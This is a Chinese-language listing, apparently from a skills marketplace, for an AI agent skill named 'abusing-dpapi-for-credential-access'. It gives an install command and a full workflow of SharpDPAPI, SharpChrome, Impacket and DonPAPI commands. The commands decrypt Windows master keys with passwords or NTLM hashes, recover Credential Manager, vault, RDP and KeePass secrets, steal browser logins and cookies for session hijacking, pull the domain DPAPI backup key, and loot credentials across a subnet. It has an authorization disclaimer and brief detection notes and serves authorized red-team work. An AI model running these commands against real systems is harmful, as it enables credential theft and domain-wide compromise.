mcpField
A
abusing-dpapi-for-credential-access

abusing-dpapi-for-credential-access

github.com/mukul975安全35.2k447 次安装8 周前更新
代码仓库

关于 abusing-dpapi-for-credential-access

介绍在授权红队和安全评估中恢复 Windows DPAPI 保护数据的技能,涵盖在线与离线解密、主机排查、浏览器数据及域备份密钥,并使用 SharpDPAPI、SharpChrome 等工具。

主要功能

  1. 01排查 DPAPI 保护的数据
  2. 02使用用户凭据或备份密钥解密主密钥
  3. 03恢复凭据管理器与保管库机密
  4. 04提取 RDP、证书和 KeePass 机密
  5. 05解密 Chrome 与 Edge 登录信息和 Cookie

适用场景

  1. 01评估授权 Windows 主机上的凭据暴露情况
  2. 02使用用户密码或 NTLM 哈希解密排查所得文件
  3. 03在紫队演练中验证检测能力

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill abusing-dpapi-for-credential-access

安装后在 Claude Code 中输入/abusing-dpapi-for-credential-access确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

详细介绍

滥用 DPAPI 访问凭据

法律声明: 此技能仅用于经授权的渗透测试、红队行动和教育目的。未经明确书面授权,提取不属于你或你无权测试的系统中的凭据属于违法行为,且可能违反计算机欺诈和滥用相关法律。务必遵守已签署的交战规则,并记录每项操作。

概述

Windows Data Protection API(DPAPI)是操作系统内置的对称加密服务,应用程序使用它来保护静态机密信息,包括已保存的 RDP 和 Windows Credential Manager 凭据、Credential Vault 中的网站和 Wi-Fi 凭据、浏览器已保存的登录信息和 Cookie(Chrome/Edge)、KeePass 密钥、证书私钥以及计划任务密码。DPAPI 根据用户密码(或计算机帐户机密)为每位用户(或每台计算机)派生一个主密钥,再由该主密钥加密各个“DPAPI blob”。加密后的主密钥存储在 %APPDATA%\Microsoft\Protect\<SID>\(用户)和 %WINDIR%\System32\Microsoft\Protect\(计算机)下。

红队人员会在获得立足点后滥用 DPAPI 来恢复明文机密,这对应 MITRE ATT&CK T1555.004(凭据存储中的凭据:Windows Credential Manager)。主要有三种解密途径:

  1. 在线/基于上下文——以目标用户身份运行时,DPAPI API(CryptUnprotectData)会透明地解密该用户的 blob。SharpDPAPI 的 /unprotect 标志会使用此方法。
  2. 使用用户密码或 NTLM 哈希离线解密——使用 /password: 或 /ntlm: 解密用户的主密钥,然后离线解密 blob(非常适合分析从主机提取的文件)。
  3. 使用域备份密钥进行全域解密——域管理员可以提取域的 RSA DPAPI 备份密钥(.pvk)一次,然后使用 /pvk: 永久解密任意域用户的主密钥,无论在线还是离线。

业界标准工具包括用于 Windows 的 SharpDPAPI(GhostPack 的工具,是 Mimikatz DPAPI 功能的 C# 移植版)、用于浏览器机密信息的 SharpChrome,以及作为原始实现的 Mimikatz(dpapi::*)。在 Linux 上,Impacket 的 dpapi.py 和 donpapi 可执行远程/离线分析。

使用场景

  • 入侵 Windows 主机后,用户保存了值得收集以用于横向移动的 RDP、浏览器或保管库凭据。
  • 持有用户密码或 NTLM 哈希,并希望离线解密其受 DPAPI 保护的机密信息。
  • 拥有域管理员权限,并希望获取域 DPAPI 备份密钥,以解密整个环境中任意用户受保护的数据。
  • 分析从磁盘映像中外泄的 Credentials、Vault 或 Protect 目录。
  • 在紫队演练中验证对 DPAPI 主密钥访问以及读取 LSASS/Protect 文件夹的检测能力。

前提条件

  • 已在目标 Windows 主机上获得授权的立足点(交互式会话、信标或远程管理权限)。
  • 知道目标用户的 SID,并具备以下任一项:该用户的会话、密码、NTLM 哈希或用于获取备份密钥的域管理员权限。
  • 工具(从源代码编译或使用发布版二进制文件;仅从官方上游来源获取):
# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Open SharpDPAPI.sln and build Release, or:
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (original DPAPI implementation)
# https://github.com/gentilkiwi/mimikatz/releases

# Linux remote/offline triage (Impacket)
pipx install impacket            # provides dpapi.py / impacket-dpapi
pipx install donpapi             # https://github.com/login-securite/DonPAPI

目标

  • 分析主机上的 DPAPI 保护凭据、保管库、RDP 和证书 blob。
  • 使用 /unprotect 在线解密用户主密钥,或使用密码/哈希,或使用域备份密钥解密。
  • 恢复 Credential Manager 和 Vault 中的明文机密信息。
  • 使用 SharpChrome 提取浏览器已保存的登录信息和 Cookie。
  • 获取并复用域 DPAPI 备份密钥,以解密整个环境中的数据。

MITRE ATT&CK 映射

技术 ID名称战术相关性
T1555.004密码存储中的凭据:Windows Credential Manager凭据访问DPAPI 保护 Credential Manager / Vault 条目;解密主密钥和数据块可恢复这些存储的凭据。
T1555.003密码存储中的凭据:来自 Web 浏览器的凭据凭据访问SharpChrome 可解密受 DPAPI 保护的 Chrome/Edge 登录信息、Cookie 和状态密钥。
T1003操作系统凭据转储凭据访问提取主密钥/备份密钥属于转储凭据材料。

工作流

1. 对主机上的 DPAPI 数据块进行分诊

在用户上下文中运行 SharpDPAPI triage 命令,自动枚举并(在可能的情况下)解密凭据、Vault、RDG/RDP 和证书:

# Online triage in the current user's context (uses CryptUnprotectData)
SharpDPAPI.exe triage /unprotect

# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
SharpDPAPI.exe machinetriage
2. 离线解密用户主密钥(密码或 NTLM 哈希)

如果掌握用户的密码或哈希,可解密其主密钥,生成可用于处理单个数据块的 {GUID}:SHA1 映射:

# Decrypt all of the current/specified user's master keys with the password
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# Decrypt master keys with the user's NTLM hash instead of the password
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# Output is GUID:SHA1 lines — feed them to credentials/vaults commands
3. 恢复 Credential Manager 和 Vault 机密

使用解密后的主密钥映射(或 /pvk:)解密存储的凭据和 Vault 条目:

# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# Or point at a target Credentials folder and decrypt with the domain backup key
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# Decrypt Credential Vault entries
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. 解密 RDP、KeePass 和证书机密
# Saved RDCMan.settings RDP passwords (current user context)
SharpDPAPI.exe rdg /unprotect

# KeePass DPAPI-protected master keys
SharpDPAPI.exe keepass /unprotect

# Certificate private keys (export usable .pem with /showall for all stores)
SharpDPAPI.exe certificates /unprotect /showall
5. 使用 SharpChrome 提取浏览器凭据

SharpChrome 可解密 Chrome/Edge 登录信息和 Cookie。现代 Chromium 使用 App-Bound“状态密钥”,SharpChrome 会通过 DPAPI 解析该密钥:

# Decrypt saved logins for the current user
SharpChrome.exe logins /unprotect

# Decrypt cookies (useful for session hijacking) in a target folder
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# Resolve the AES state key explicitly
SharpChrome.exe statekeys /unprotect
6. 获取域 DPAPI 备份密钥(Domain Admin)

拥有 Domain Admin 权限后,可检索一次域的 RSA DPAPI 备份私钥。该密钥可永久解密所有域用户的主密钥:

# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

然后使用该密钥离线解密任何用户的主密钥:

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. 远程/基于 Linux 的分诊(Impacket / DonPAPI)

在 Linux 操作主机上,从各主机收集并解密 DPAPI 机密:

# Decrypt a single masterkey file with Impacket using the domain backup key
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk

# Decrypt a credential blob with the recovered masterkey
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>

# Mass remote DPAPI looting across hosts with DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

工具和资源

工具用途链接
SharpDPAPIWindows DPAPI 分诊/解密(C#)https://github.com/GhostPack/SharpDPAPI
SharpChromeChromium 登录信息/Cookie/状态密钥解密https://github.com/GhostPack/SharpDPAPI
Mimikatz原始 DPAPI(dpapi::*)实现https://github.com/gentilkiwi/mimikatz
Impacket dpapi.py远程/离线 DPAPI 解密(Python)https://github.com/fortra/impacket
DonPAPI大规模远程 DPAPI 数据收集https://github.com/login-securite/DonPAPI
HackTricks DPAPI技术参考https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

检测和 OPSEC 注意事项

  • 主密钥访问以及对 \Microsoft\Protect\ 和 \Microsoft\Credentials\ 的读取都可被检测到;backupkey 会触发向 DC 发起 MS-BKRP RPC 调用。
  • /unprotect(在线)路径是针对单台主机最隐蔽的选项,但仅在以当前用户身份运行时有效。
  • 防御人员应监控 Sysmon 对 LSASS 的进程访问,以及对 Protect/Credentials 文件夹的异常访问(DE.CM-01)。

验证标准

  • 已使用 SharpDPAPI triage / machinetriage 对主机进行分诊。
  • 已通过 /unprotect、/password:、/ntlm: 或 /pvk: 解密用户主密钥。
  • 已恢复 Credential Manager 和 Vault 机密。
  • 已提取存在的 RDP / KeePass / 证书机密。
  • 已使用 SharpChrome 解密浏览器登录信息/Cookie。
  • 已使用 Domain Admin 权限获取域 DPAPI 备份密钥(如在范围内),并将其用于离线解密。
  • 已记录所有恢复的机密及其来源主机/用户,并确认符合 ROE。

评论

支持 Markdown